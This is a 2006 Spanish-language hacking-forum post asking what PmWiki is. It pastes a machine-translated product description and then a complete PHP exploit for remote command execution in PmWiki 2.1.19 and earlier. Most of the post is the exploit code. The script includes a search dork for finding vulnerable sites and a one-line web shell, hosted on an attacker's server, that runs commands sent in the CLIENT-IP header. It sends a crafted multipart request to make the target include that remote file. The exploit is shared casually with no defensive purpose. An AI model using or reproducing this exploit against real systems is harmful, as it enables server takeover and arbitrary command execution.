HackPR.NET

Categoria General => Discusiones Generales => Topic started by: SnO.opy on December 18, 2006, 01:14:50 AM

Title: PmWiki Que es???
Post by: SnO.opy on December 18, 2006, 01:14:50 AM
Pues estaba escanneando y me dio un exploit el cual tiene un bug con el Pmwiki.. pero que es el PMWIKI??

Me puse a buscar y encontre esto(esta tradusdo por una web translator xD)


PmWiki/
PmWiki

Esta página es restaurada automáticamente cada quince minutos. --P.m.

PmWiki es un sistema wiki-basado para la creación y la conservación cooperativas de sitios web.

Las páginasde PmWiki miran y actúan como páginas web normales, menos ellos tienen un "Redacta" la conexión que hace fácil de modificar páginas existentes y agregar nuevas páginas en el sitio web, utilizando la redacción básica las reglas. Usted no necesita saber ni utilizar ningún protocolo de transferencia de hipertexto ni CSS. Pagine la redacción puede ser dejada abierto al público o restringido a pequeños grupos de autores.
PmWiki clave Representa
La miradade la costumbre y se siente: Un administrador del sitio puede cambiar rápidamente la apariencia y las funciones de un sitio de PmWiki utilizando plantillas diferentes de pieles y protocolo de transferencia de hipertexto. Si usted no puede encontrar una piel apropiada ya hecho, usted puede modificar fácilmente uno ni crear su propio.
Conseguir acceso al control: La protección de la contraseñade PmWiki puede ser aplicada a un sitio entero, a grupos de páginas, o a páginas individuales. La protección de la contraseña controla quién puede leer páginas, redactar páginas, y cargar las fijaciones. PmWiki' sistema de control de acceso de s es completamente independiente, pero puede trabajar también en conjunción con bases de datos existentes de contraseña, tal como. htaccess, camareros de LDAP, y las bases de datos de MySQL.
La arquitectura de la personalización y plugin: Un principio del PmWikiPhilosophy es de sólo incluir las características esenciales en el motor del centro, pero lo hace fácil para administradores para personalizar y agregar nueva alza del precio establecido. Centenares de características están ya disponibles utilizando las extensiones (llamó las "recetas") eso está disponible del Libro de cocina de PmWiki.

PmWiki es escrito en PHP y distribuido bajo la Licencia de Gran Público. Es diseñado para ser sencillo de instalar, personalizar, y para mantener para una variedad de aplicaciones. Este sitio corre pmwiki-2.2.0-beta17.

PmWiki es una marca registrada registrada de Patrick R. Michaud.

PmWiki' s en casa en la telaraña está en la pmwiki.org.

E Aqui el Exploit.

#!/usr/bin/php -q -d short_open_tag=on
<?
print_r('
--------------------------------------------------------------------------------
PmWiki <= 2.1.19 Zend_Hash_Del_Key_Or_Index/remote commands execution exploit
by rgod [email protected]
site: http://retrogod.altervista.org
dork: inurl:pmwiki.php +"Page last modified on" | PmWikiPhilosophy
--------------------------------------------------------------------------------
');
/*
works with register_globals=On
against PHP < 4.4.3, 5 <= PHP < 5.1.4
*/
if ($argc<5) {
print_r('
--------------------------------------------------------------------------------
Usage: php '.$argv[0].' host path http_loc cmd OPTIONS
host:      target server (ip/hostname)
path:      path to pmwiki
http_loc:  an http site with the code to include (without ending slash)
cmd:       a shell command
Options:
-p[port]:    specify a port other than 80
-P[ip:port]: specify a proxy
Example:
php '.$argv[0].' localhost /pmwiki/ http://somehost.com ls -la -P1.1.1.1:80
php '.$argv[0].' localhost /pmwiki/ http://somehost.com ls -la -p81

Note:
prepare this code in http://somehost.com/scripts/stdconfig.php/index.html :
<?phperror_reporting(0);set_time_limit(0);echo "my_delim";passthru($_SERVER["HTTP_CLIENT_IP"]);die;?>

--------------------------------------------------------------------------------
');
die;
}

error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

function quick_dump($string)
{
  $result='';$exa='';$cont=0;
  for ($i=0; $i<=strlen($string)-1; $i++)
  {
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
   {$result.="  .";}
   else
   {$result.="  ".$string[$i];}
   if (strlen(dechex(ord($string[$i])))==2)
   {$exa.=" ".dechex(ord($string[$i]));}
   else
   {$exa.=" 0".dechex(ord($string[$i]));}
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
  }
return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy=='') {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo 'No response from '.$host.':'.$port; die;
    }
  }
  else {
   $c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo 'Not a valid proxy...';die;
    }
    $parts=explode(':',$proxy);
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo 'No response from proxy...';die;
   }
  }
  fputs($ock,$packet);
  if ($proxy=='') {
    $html='';
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
  #debug
  #echo "\r\n".$html;
}

$host=$argv[1];
$path=$argv[2];
$http_loc=$argv[3];
$cmd="";
$port=80;
$proxy="";

for ($i=4; $i<$argc; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if (($temp<>"-p") and ($temp<>"-P")) {$cmd.=" ".$argv[$i];}
if ($temp=="-p")
{
  $port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
  $proxy=str_replace("-P","",$argv[$i]);
}
}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

$data ="-----------------------------7d529a1d23092a\r\n";
$data.="Content-Disposition: form-data; name=\"FarmD\";\r\n\r\n";
$data.="$http_loc\r\n";
$data.="-----------------------------7d529a1d23092a\r\n";
$data.="Content-Disposition: form-data; name=\"-1778478215\";\r\n\r\n";
$data.="1\r\n";
$data.="-----------------------------7d529a1d23092a\r\n";
$data.="Content-Disposition: form-data; name=\"-1304181425\";\r\n\r\n";
$data.="1\r\n";
$data.="-----------------------------7d529a1d23092a--\r\n";
$packet ="POST ".$p."pmwiki.php?n=PmWiki.BasicEditing?action=edit HTTP/1.0\r\n";
$packet.="CLIENT-IP: ".$cmd."\r\n";
$packet.="Content-Type: multipart/form-data; boundary=---------------------------7d529a1d23092a\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
if (strstr($html,"my_delim")){
echo "exploit succeeded...\n";$temp=explode("my_delim",$html);die($temp[1]);
}
elseif (strstr($html,"failed to open stream"))
{echo "*** adjust path... ***\n";die($html);}
else
{echo "exploit failed...";}
?>


xD!...
El cual corresponde a este.  http://www.securityfocus.com/bid/17843

Al parecer lo posteo porq pregunte a varios y no sabian que era... Ahroa ya saben que es =)